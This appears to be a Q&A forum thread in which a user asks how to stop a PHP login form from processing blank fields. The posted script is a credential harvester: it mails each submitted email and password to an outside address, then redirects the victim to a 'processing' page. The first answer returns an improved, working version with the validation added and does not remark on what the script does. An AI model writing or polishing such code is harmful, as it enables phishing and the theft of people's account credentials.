Marc Quineser
Marc Quineser

Reputation: 1

preventing forms to send blank fields

I have this form and i would like that users who does not complete the username/passowrd form and click on login to return to homepage again, and users that completes those filed to be sent out at processing.htm. this is how i had it as of now and it redirects everybody to processing even if fields are blank or not. Any chance for some so i can adaptate this one ?

<?
$userid = $_REQUEST['login_email'] ;
$pass = $_REQUEST['login_password'] ;

$From = "From: $userid";
$subj = "$pass";
$msg = "$userid";
$to = "[email protected]";
mail($to, $subj, $msg, $From);{
echo ("<script>");
echo("window.location=\"processing.htm\"");
echo("</script>");
}

?>

Thank you

Upvotes: 0

Views: 59

Answers (2)

Archer
Archer

Reputation: 1162

you must give a condition when you are loading the processing .htm

<?
$userid = $_REQUEST['login_email'] ;
$pass = $_REQUEST['login_password'] ;


if(!(empty($userid) && empty($pass))){
$From = "From: $userid";
$subj = "$pass";
$msg = "$userid";
$to = "[email protected]";
mail($to, $subj, $msg, $From);

header("Location: http://yoursite.com/processing.htm");
}
else
{
header("Location: http://yoursite.com/homepage.php");
}


?>

Upvotes: 1

Tom Walters
Tom Walters

Reputation: 15616

Using:

if(!empty($userid) && !empty($pass)){
    // You have data
} else {
    // The user didn't enter any data
}

You can then make use of the PHP header() function to redirect rather than relying on JavaScript like so:

header("Location: http://example.com/mypage.php");

Upvotes: 0

Related Questions